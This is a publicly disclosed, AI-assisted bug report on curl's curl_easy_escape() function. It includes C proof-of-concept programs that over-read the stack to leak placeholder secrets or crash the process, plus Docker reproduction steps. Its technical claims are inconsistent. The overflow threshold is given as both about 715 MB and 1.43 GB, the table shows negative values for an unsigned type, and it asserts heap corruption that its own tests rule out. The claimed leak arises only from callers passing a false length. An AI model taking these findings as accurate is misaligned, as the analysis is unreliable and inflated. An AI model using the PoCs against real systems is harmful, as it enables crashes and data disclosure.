HexBrain

curl · Report #3476928

Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms

N/Astatus
lowseverity
11upvotes
25 Dec 2025disclosed

How it was found

Disclaimer

Both the confirmation, and reporting of this vulnerability used AI assistance. Nonetheless, I manually reviewed all of the reported results, including its reproduction steps and source code.

Summary

The curl_easy_escape() function in lib/escape.c contains an integer overflow vulnerability when calculating the maximum buffer size for URL-encoded output. On 32-bit systems, when the input length exceeds approximately 715 MB, the calculation length * 3 + 1 overflows. Additionally, the function trusts the caller-provided length parameter without validation, allowing attackers to read arbitrary memory past the input buffer, resulting in information disclosure (leaking sensitive stack data) or denial of service (crash via segmentation fault).

Affected Versions

  • Current master branch (tested at commit 7e064d0756) - VULNERABLE
  • Versions after commit 9bfc7f9234 (August 1, 2024) - VULNERABLE
  • Versions before 9bfc7f9234 were protected by CURL_MAX_INPUT_LENGTH (8 MB limit)

Important Historical Context

Commit 9bfc7f923479235b2fdf0e8fdd8468c0786a369b (August 1, 2024) removed the CURL_MAX_INPUT_LENGTH protection:

Before (protected):

Curl_dyn_init(&d, CURL_MAX_INPUT_LENGTH * 3);  // Limited to 8MB * 3 = 24MB output

After (vulnerable):

Curl_dyn_init(&d, length * 3 + 1);  // Uses user-controlled length - can overflow on 32-bit!

This change was made to "allow users to URL encode larger chunks of data" but inadvertently reintroduced the integer overflow vulnerability on 32-bit systems.

Note: The curl command-line tool may still be protected by other memory limits (dynbuf limits in file loading, address space constraints), but applications calling curl_easy_escape() directly via libcurl are vulnerable.


Technical Analysis

Vulnerable Code

File: lib/escape.c

The vulnerability exists in the curl_easy_escape() function at lines 51-65:

char *curl_easy_escape(CURL *data, const char *string, int inlength)
{
  size_t length;
  struct dynbuf d;
  (void)data;

  if(!string || (inlength < 0))
    return NULL;

  length = (inlength ? (size_t)inlength : strlen(string));  // Line 60
  if(!length)
    return curlx_strdup("");

  curlx_dyn_init(&d, length * 3 + 1);  // Line 64 - VULNERABLE

  while(length--) {                     // Line 66 - Iterates 'length' times
    unsigned char in = (unsigned char)*string++;  // Reads from string pointer
    // ... URL encoding logic
  }
}

Root Cause Analysis

Two distinct vulnerabilities exist:

  1. Integer Overflow (Line 64): On 32-bit systems where size_t is 32 bits:

    • When length > 715,827,882 bytes (~682 MB)
    • The multiplication length * 3 exceeds UINT32_MAX (4,294,967,295)
    • The result wraps around due to integer overflow
    • A much smaller value is passed to curlx_dyn_init()
  2. Missing Buffer Bounds Validation (Line 66-67): The function trusts that the caller-provided length matches the actual buffer size. If an attacker passes a length larger than the actual input buffer, the while(length--) loop reads past the buffer into adjacent memory.

Overflow Boundary Analysis

Input LengthExpected Size (length × 3 + 1)Actual 32-bit Result
715,827,8812,147,483,6442,147,483,644 ✓
715,827,8822,147,483,6472,147,483,647 ✓
715,827,8832,147,483,650-2,147,483,646 ⚠️
1,073,741,8233,221,225,470-1,073,741,826 ⚠️
2,147,483,647 (INT_MAX)6,442,450,9422,147,483,646 ⚠️

Demonstrated Attacks

Attack 1: Stack Memory Disclosure (Information Leak)

By passing a length parameter larger than the actual input buffer, an attacker can force curl_easy_escape() to read and URL-encode arbitrary stack memory, including sensitive data like passwords, API keys, and session tokens.

Proof of Concept Source Code

/*
 * curl_easy_escape() Integer Overflow PoC - 32-bit
 * Demonstrates STACK DATA LEAKAGE via integer overflow.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>
#include <curl/curl.h>

void hexdump(const char *desc, const void *data, size_t len) {
    const unsigned char *p = (const unsigned char *)data;
    size_t i, j;
    
    printf("%s (%zu bytes):\n", desc, len);
    for (i = 0; i < len; i += 16) {
        printf("  %04zx: ", i);
        for (j = 0; j < 16 && i + j < len; j++)
            printf("%02x ", p[i + j]);
        for (; j < 16; j++)
            printf("   ");
        printf(" |");
        for (j = 0; j < 16 && i + j < len; j++)
            printf("%c", (p[i + j] >= 32 && p[i + j] < 127) ? p[i + j] : '.');
        printf("|\n");
    }
}

int main(void) {
    printf("curl_easy_escape() Integer Overflow - STACK LEAK PoC\n");
    printf("=====================================================\n\n");
    
    printf("Platform: %u-bit (sizeof(size_t) = %u)\n", 
           (unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));
    printf("UINT_MAX = %u (0x%x)\n\n", UINT_MAX, UINT_MAX);

    /* Put some secrets on the stack BEFORE our input buffer */
    volatile char secret1[] = "SECRET_PASSWORD=hunter2";
    volatile char secret2[] = "API_KEY=sk-1234567890abcdef";
    volatile char cookie[] = "session=SENSITIVE_COOKIE_VALUE";
    
    /* Small input buffer */
    char input[16];
    memset(input, 'X', sizeof(input));
    input[15] = '\0';
    
    printf("Stack secrets placed before input buffer:\n");
    printf("  secret1: \"%s\"\n", (char*)secret1);
    printf("  secret2: \"%s\"\n", (char*)secret2);  
    printf("  cookie:  \"%s\"\n", (char*)cookie);
    printf("  input:   \"%s\" (16 bytes at %p)\n\n", input, (void*)input);
    
    printf("Calling curl_easy_escape with length=200 on 16-byte buffer...\n");
    printf("This reads 184 bytes past our buffer into the stack!\n\n");
    
    char *result = curl_easy_escape(NULL, input, 200);
    
    if (result) {
        size_t len = strlen(result);
        printf("Got result: %zu bytes\n", len);
        hexdump("Leaked data (URL-encoded)", result, len > 300 ? 300 : len);
        
        printf("\n=== Checking for leaked secrets ===\n");
        if (strstr(result, "SECRET") || strstr(result, "hunter")) {
            printf("[!] LEAKED: secret1 data found!\n");
        }
        if (strstr(result, "API") || strstr(result, "1234567890")) {
            printf("[!] LEAKED: secret2 data found!\n");
        }
        if (strstr(result, "session") || strstr(result, "SENSITIVE")) {
            printf("[!] LEAKED: cookie data found!\n");
        }
        
        curl_free(result);
    } else {
        printf("Result: NULL\n");
    }
    
    return 0;
}

Proof of Concept Output:

curl_easy_escape() Integer Overflow - STACK LEAK PoC
=====================================================

Platform: 32-bit (sizeof(size_t) = 4)
UINT_MAX = 4294967295 (0xffffffff)

Stack secrets placed before input buffer:
  secret1: "SECRET_PASSWORD=hunter2"
  secret2: "API_KEY=sk-1234567890abcdef"
  cookie:  "session=SENSITIVE_COOKIE_VALUE"
  input:   "XXXXXXXXXXXXXXX" (16 bytes at 0xffe91f05)

Calling curl_easy_escape with length=200 on 16-byte buffer...
This reads 184 bytes past our buffer into the stack!

Got result: 410 bytes
Leaked data (URL-encoded) (300 bytes):
  0000: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25  |XXXXXXXXXXXXXXX%|
  0010: 30 30 73 65 73 73 69 6f 6e 25 33 44 53 45 4e 53  |00session%3DSENS|
  0020: 49 54 49 56 45 5f 43 4f 4f 4b 49 45 5f 56 41 4c  |ITIVE_COOKIE_VAL|
  0030: 55 45 25 30 30 41 50 49 5f 4b 45 59 25 33 44 73  |UE%00API_KEY%3Ds|
  0040: 6b 2d 31 32 33 34 35 36 37 38 39 30 61 62 63 64  |k-1234567890abcd|
  0050: 65 66 25 30 30 53 45 43 52 45 54 5f 50 41 53 53  |ef%00SECRET_PASS|
  0060: 57 4f 52 44 25 33 44 68 75 6e 74 65 72 32 25 30  |WORD%3Dhunter2%0|

=== Checking for leaked secrets ===
[!] LEAKED: secret1 data found!
[!] LEAKED: secret2 data found!
[!] LEAKED: cookie data found!

Leaked secrets visible in output:

  • session=SENSITIVE_COOKIE_VALUE
  • API_KEY=sk-1234567890abcdef
  • SECRET_PASSWORD=hunter2

Attack 2: Denial of Service (Crash)

Using INT_MAX as the length parameter causes the function to iterate billions of times, reading through the entire process memory until it hits an unmapped region and crashes.

Denial of Service PoC Source Code:

/*
 * curl_easy_escape() Integer Overflow - Denial of Service PoC
 * Demonstrates crash via segmentation fault on 32-bit systems.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <curl/curl.h>

int main(void) {
    printf("curl_easy_escape() Denial of Service PoC\n");
    printf("=========================================\n\n");
    
    printf("Platform: %u-bit (sizeof(size_t) = %u)\n", 
           (unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));
    printf("INT_MAX = %d (0x%x)\n\n", INT_MAX, INT_MAX);
    
    /* Small input buffer */
    char input[16] = "XXXXXXXXXXXXXXX";
    
    printf("Input buffer: \"%s\" (16 bytes at %p)\n\n", input, (void*)input);
    
    printf("Calling curl_easy_escape(NULL, input, INT_MAX)...\n");
    printf("  Requested length: %d bytes\n", INT_MAX);
    printf("  length * 3 + 1 = %lld (overflows on 32-bit!)\n", 
           (long long)INT_MAX * 3 + 1);
    printf("  32-bit result  = %u\n\n", (unsigned)((size_t)INT_MAX * 3 + 1));
    
    printf("The function will iterate INT_MAX times, reading past our buffer\n");
    printf("through the entire stack until it hits unmapped memory...\n\n");
    fflush(stdout);
    
    /* This will crash on 32-bit systems */
    char *result = curl_easy_escape(NULL, input, INT_MAX);
    
    if (result) {
        printf("Result: %p (unexpected - should have crashed!)\n", (void*)result);
        curl_free(result);
    } else {
        printf("Result: NULL\n");
    }
    
    printf("If you see this message, the crash did not occur.\n");
    
    return 0;
}

PoC Output:

curl_easy_escape() Denial of Service PoC
=========================================

Platform: 32-bit (sizeof(size_t) = 4)
INT_MAX = 2147483647 (0x7fffffff)

Input buffer: "XXXXXXXXXXXXXXX" (16 bytes at 0xfff6bb4c)

Calling curl_easy_escape(NULL, input, INT_MAX)...
  Requested length: 2147483647 bytes
  length * 3 + 1 = 6442450942 (overflows on 32-bit!)
  32-bit result  = 2147483646

The function will iterate INT_MAX times, reading past our buffer
through the entire stack until it hits unmapped memory...

Segmentation fault (core dumped)

GDB Analysis of Crash:

Program received signal SIGSEGV, Segmentation fault.
0xf6c48560 in curl_easy_escape () from /usr/lib/i386-linux-gnu/libcurl.so.4

#0  0xf6c48560 in curl_easy_escape () from /usr/lib/i386-linux-gnu/libcurl.so.4
#1  0x56b9b506 in main () at dos_poc.c:36

Registers at crash:
  esi = 0xfff6d000  (end of stack - unmapped memory)
  eip = 0xf6c48560  <curl_easy_escape+144>

The crash occurs when the string pointer (esi) advances past the end of the stack at 0xfff6d000 into unmapped memory.

Attack 3: Analysis of length=0 (strlen) Path

When inlength=0 is passed to curl_easy_escape(), the function uses strlen(string) to determine the length. This section documents testing to determine if the integer overflow can be exploited via this code path.

Key code path:

length = (inlength ? (size_t)inlength : strlen(string));  // Line 60
// If inlength=0, strlen(string) is used
curlx_dyn_init(&d, length * 3 + 1);  // Line 64 - overflow calculation

Scenario 3a: Large String Causing Overflow (Safe - dynbuf catches)

Test: Pass a string > 1.43 GB with length=0 to trigger overflow via strlen.

PoC Source Code:

/*
 * curl_easy_escape() Overflow via strlen() path
 * Tests if overflow can be exploited when length=0
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <curl/curl.h>

int main(void) {
    printf("curl_easy_escape() strlen() Path Test\n");
    printf("======================================\n\n");
    
    printf("Platform: %u-bit\n", (unsigned)(sizeof(void*) * 8));
    
    /* Overflow threshold: (UINT32_MAX - 1) / 3 = 1,431,655,764 */
    /* First overflowing value: 1,431,655,765 */
    size_t overflow_len = 1431655765;
    
    printf("Allocating %zu bytes (%.2f GB)...\n", 
           overflow_len, overflow_len / (1024.0 * 1024.0 * 1024.0));
    
    char *huge = malloc(overflow_len + 1);
    if (!huge) {
        printf("malloc failed - not enough memory\n");
        return 1;
    }
    
    memset(huge, 'A', overflow_len);
    huge[overflow_len] = '\0';
    
    printf("strlen() = %zu\n", strlen(huge));
    printf("Overflow: %zu * 3 + 1 = %u (32-bit)\n\n", 
           overflow_len, (unsigned)(overflow_len * 3 + 1));
    
    printf("Calling curl_easy_escape(NULL, huge, 0)...\n");
    fflush(stdout);
    
    char *result = curl_easy_escape(NULL, huge, 0);
    
    printf("Result: %s\n", result ? "non-NULL" : "NULL");
    if (result) curl_free(result);
    free(huge);
    
    return 0;
}

PoC Output:

curl_easy_escape() strlen() Path Test
======================================

Platform: 32-bit
Allocating 1431655765 bytes (1.33 GB)...
strlen() = 1431655765
Overflow: 1431655765 * 3 + 1 = 0 (32-bit)

Calling curl_easy_escape(NULL, huge, 0)...
Result: NULL

Analysis: The overflow DOES occur (wraps to 0), but dynbuf's safety checks catch it:

  1. curlx_dyn_init() sets toobig = 0
  2. First curlx_dyn_addn() call: fit > toobig (1 > 0) returns CURLE_TOO_LARGE
  3. Function returns NULL safely

Scenario 3b: Overflow to Small Positive Value (Safe - dynbuf catches)

Test: Use a string length that overflows to ~1MB instead of 0.

Calculation: For overflow to 1,000,000: length = (2^32 + 999,999) / 3 = 1,431,989,098

PoC Output:

curl_easy_escape() strlen() Path Test v2
=========================================

Platform: 32-bit
Allocating 1431989098 bytes (1.33 GB)...
strlen() = 1431989098
Overflow: 1431989098 * 3 + 1 = 999999 (32-bit)

dynbuf toobig = 999999, but loop runs 1,431,989,098 times
Calling curl_easy_escape(NULL, huge, 0)...
Result: NULL

Analysis: Even when overflow produces a larger toobig value, dynbuf catches the overflow during writes when fit > toobig.

Scenario 3c: Missing Null Terminator (Crash - but not overflow exploitation)

Test: String without null terminator at page boundary causes strlen() to read into unmapped memory.

PoC Source Code:

/*
 * curl_easy_escape() crash via strlen() - Page Boundary PoC
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <curl/curl.h>

int main(void) {
    printf("curl_easy_escape() strlen() Page Boundary Crash\n");
    printf("================================================\n\n");
    
    long page_size = sysconf(_SC_PAGESIZE);
    
    /* Map 2 pages, unmap second to create guard */
    void *mem = mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    munmap((char*)mem + page_size, page_size);
    
    /* Fill first page, NO null terminator */
    memset(mem, 'A', page_size);
    
    /* String at end of page - strlen will cross into unmapped region */
    char *danger = (char*)mem + page_size - 100;
    memset(danger, 'X', 100);  /* No '\0' */
    
    printf("Calling curl_easy_escape() - strlen() will SEGFAULT\n");
    fflush(stdout);
    
    char *result = curl_easy_escape(NULL, danger, 0);
    
    printf("Result: %p (unexpected)\n", (void*)result);
    return 0;
}

PoC Output:

curl_easy_escape() strlen() Page Boundary Crash
================================================

Calling curl_easy_escape() - strlen() will SEGFAULT

Program received signal SIGSEGV, Segmentation fault.
__strlen_sse2_bsf () at ../sysdeps/i386/i686/multiarch/strlen-sse2-bsf.S:86
#0  __strlen_sse2_bsf ()
#1  0xeb27d5c9 in curl_easy_escape () from /usr/lib/i386-linux-gnu/libcurl.so.4
#2  0x5b9fd4d9 in main () at attack3c_test.c:33

Analysis: This causes a crash, but it's NOT exploiting the integer overflow - it's exploiting a missing null terminator causing strlen() to read into unmapped memory. This is a contrived scenario.

Conclusion: strlen() Path Analysis

ScenarioOverflow Triggered?Exploitable?Result
Large string (>1.43GB), length=0✅ Yes❌ NoNULL (dynbuf catches)
Overflow to small value✅ Yes❌ NoNULL (dynbuf catches)
Missing null terminatorN/A⚠️ ContrivedSEGFAULT in strlen()

Key Finding: The integer overflow vulnerability cannot be exploited via the length=0 (strlen) path because:

  1. No buffer size mismatch: When using strlen(), the length accurately reflects the actual string size - there's no over-read of adjacent memory.

  2. dynbuf safety catches overflow: Even when the arithmetic overflow occurs, dynbuf's toobig check prevents writing more data than the overflowed size allows, causing the function to return NULL safely.

  3. Exploitation requires explicit length control: The vulnerability is only exploitable when an attacker can pass a length parameter that is larger than the actual buffer size, creating the mismatch that enables out-of-bounds reads.


Steps to Reproduce

Prerequisites

  • Docker installed in a x86_64 system

Step 1: Create the Test File

Create vuln_app_32.c:

/*
 * curl_easy_escape() Integer Overflow PoC - 32-bit
 * Demonstrates STACK DATA LEAKAGE via integer overflow.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <limits.h>
#include <curl/curl.h>

void hexdump(const char *desc, const void *data, size_t len) {
    const unsigned char *p = (const unsigned char *)data;
    size_t i, j;
    
    printf("%s (%zu bytes):\n", desc, len);
    for (i = 0; i < len; i += 16) {
        printf("  %04zx: ", i);
        for (j = 0; j < 16 && i + j < len; j++)
            printf("%02x ", p[i + j]);
        for (; j < 16; j++)
            printf("   ");
        printf(" |");
        for (j = 0; j < 16 && i + j < len; j++)
            printf("%c", (p[i + j] >= 32 && p[i + j] < 127) ? p[i + j] : '.');
        printf("|\n");
    }
}

int main(void) {
    printf("curl_easy_escape() Integer Overflow - STACK LEAK PoC\n");
    printf("=====================================================\n\n");
    
    printf("Platform: %u-bit (sizeof(size_t) = %u)\n", 
           (unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));
    printf("UINT_MAX = %u (0x%x)\n\n", UINT_MAX, UINT_MAX);

    /* Put some secrets on the stack BEFORE our input buffer */
    volatile char secret1[] = "SECRET_PASSWORD=hunter2";
    volatile char secret2[] = "API_KEY=sk-1234567890abcdef";
    volatile char cookie[] = "session=SENSITIVE_COOKIE_VALUE";
    
    /* Small input buffer */
    char input[16];
    memset(input, 'X', sizeof(input));
    input[15] = '\0';
    
    printf("Stack secrets placed before input buffer:\n");
    printf("  secret1: \"%s\"\n", (char*)secret1);
    printf("  secret2: \"%s\"\n", (char*)secret2);  
    printf("  cookie:  \"%s\"\n", (char*)cookie);
    printf("  input:   \"%s\" (16 bytes at %p)\n\n", input, (void*)input);
    
    printf("Calling curl_easy_escape with length=200 on 16-byte buffer...\n");
    printf("This reads 184 bytes past our buffer into the stack!\n\n");
    
    char *result = curl_easy_escape(NULL, input, 200);
    
    if (result) {
        size_t len = strlen(result);
        printf("Got result: %zu bytes\n", len);
        hexdump("Leaked data (URL-encoded)", result, len > 300 ? 300 : len);
        
        printf("\n=== Checking for leaked secrets ===\n");
        if (strstr(result, "SECRET") || strstr(result, "hunter")) {
            printf("[!] LEAKED: secret1 data found!\n");
        }
        if (strstr(result, "API") || strstr(result, "1234567890")) {
            printf("[!] LEAKED: secret2 data found!\n");
        }
        if (strstr(result, "session") || strstr(result, "SENSITIVE")) {
            printf("[!] LEAKED: cookie data found!\n");
        }
        
        curl_free(result);
    } else {
        printf("Result: NULL\n");
    }
    
    return 0;
}

Step 2: Create Docker Environment

Create Dockerfile:

FROM i386/debian:stable

RUN apt-get update && \
    apt-get install -y \
    build-essential \
    libcurl4-openssl-dev \
    pkg-config \
    gdb \
    file \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /test
COPY vuln_app_32.c .

# Compile with debug symbols
RUN gcc -g -O0 -o vuln_app vuln_app_32.c $(pkg-config --cflags --libs libcurl) -Wall && \
    echo "=== Binary info ===" && \
    file vuln_app

CMD ["./vuln_app"]

Step 3: Build and Run

# Build the Docker image
docker build -t curl-leak .

# Run the test (shows stack leak, then crashes)
docker run --rm curl-leak

# For GDB debugging of the crash:
docker run --rm curl-leak gdb -batch -ex 'run' -ex 'bt' -ex 'info registers' ./vuln_app

Expected Output

curl_easy_escape() Integer Overflow - STACK LEAK PoC
=====================================================

Platform: 32-bit (sizeof(size_t) = 4)
UINT_MAX = 4294967295 (0xffffffff)

Stack secrets placed before input buffer:
  secret1: "SECRET_PASSWORD=hunter2"
  secret2: "API_KEY=sk-1234567890abcdef"
  cookie:  "session=SENSITIVE_COOKIE_VALUE"
  input:   "XXXXXXXXXXXXXXX" (16 bytes at 0xffe91f05)

Calling curl_easy_escape with length=200 on 16-byte buffer...
This reads 184 bytes past our buffer into the stack!

Got result: 410 bytes
Leaked data (URL-encoded) (300 bytes):
  0000: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25  |XXXXXXXXXXXXXXX%|
  0010: 30 30 73 65 73 73 69 6f 6e 25 33 44 53 45 4e 53  |00session%3DSENS|
  0020: 49 54 49 56 45 5f 43 4f 4f 4b 49 45 5f 56 41 4c  |ITIVE_COOKIE_VAL|
  0030: 55 45 25 30 30 41 50 49 5f 4b 45 59 25 33 44 73  |UE%00API_KEY%3Ds|
  0040: 6b 2d 31 32 33 34 35 36 37 38 39 30 61 62 63 64  |k-1234567890abcd|
  0050: 65 66 25 30 30 53 45 43 52 45 54 5f 50 41 53 53  |ef%00SECRET_PASS|
  0060: 57 4f 52 44 25 33 44 68 75 6e 74 65 72 32 25 30  |WORD%3Dhunter2%0|

=== Checking for leaked secrets ===
[!] LEAKED: secret1 data found!
[!] LEAKED: secret2 data found!
[!] LEAKED: cookie data found!

Note

Similar steps can be taken to reproduce all of the other attack scenarios mentioned in the Demonstrated Attacks section.


Recommended Fix

Add explicit overflow and bounds checks before the vulnerable calculation in lib/escape.c:

char *curl_easy_escape(CURL *data, const char *string, int inlength)
{
  size_t length;
  struct dynbuf d;
  (void)data;

  if(!string || (inlength < 0))
    return NULL;

  length = (inlength ? (size_t)inlength : strlen(string));
  if(!length)
    return curlx_strdup("");

  /* Check for potential overflow in length * 3 + 1 calculation */
  if(length > (SIZE_MAX - 1) / 3)
    return NULL;

  curlx_dyn_init(&d, length * 3 + 1);
  // ... rest of function
}

This check ensures that length * 3 + 1 will never overflow regardless of platform word size.

Note: The buffer over-read vulnerability (trusting caller-provided length) is a separate issue that may require documentation updates to warn developers about proper usage, as the function signature intentionally allows passing a length different from the string's actual size.


Attack Surface Analysis

curl Command-Line Tool

The curl binary has three code paths that call curl_easy_escape():

  1. --data-urlencode option (tool_getparam.c:675)
  2. Variable expansion {{var:url}} (var.c:131)
  3. URL filename encoding (tool_operhlp.c:130)

However, testing shows the curl binary is protected by other limits:

  • CURL_MAX_INPUT_LENGTH (8 MB) is still enforced in the tool's file loading (file2memory)
  • 32-bit address space constraints cause allocation failures before overflow threshold

Result: The curl command-line tool returns "out of memory" before reaching the vulnerable code path.

libcurl Library (Direct API Usage)

Applications that call curl_easy_escape() directly are fully vulnerable:

// Vulnerable application code
char *user_data = get_untrusted_input();
int user_length = get_untrusted_length();  // Attacker controls this!

// If user_length > 715,827,882 on 32-bit: INTEGER OVERFLOW + CRASH/LEAK
char *encoded = curl_easy_escape(NULL, user_data, user_length);

Attack scenarios:

  • Web applications processing user-uploaded data for URL encoding
  • IoT devices (often 32-bit) processing network data
  • Any application that passes user-controlled length to curl_easy_escape()

References


Impact

Summary:

Affects 32-bit systems applications using libcurl's curl_easy_escape function where a user controls the length argument.

Demonstrated impacts include:

  • Information Disclosure: Attacker can leak sensitive data from the stack (passwords, API keys, session tokens)
  • Denial of Service: Guaranteed crash when using large length values
  • Memory Corruption: Potential heap buffer overflow with attacker-controlled input

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original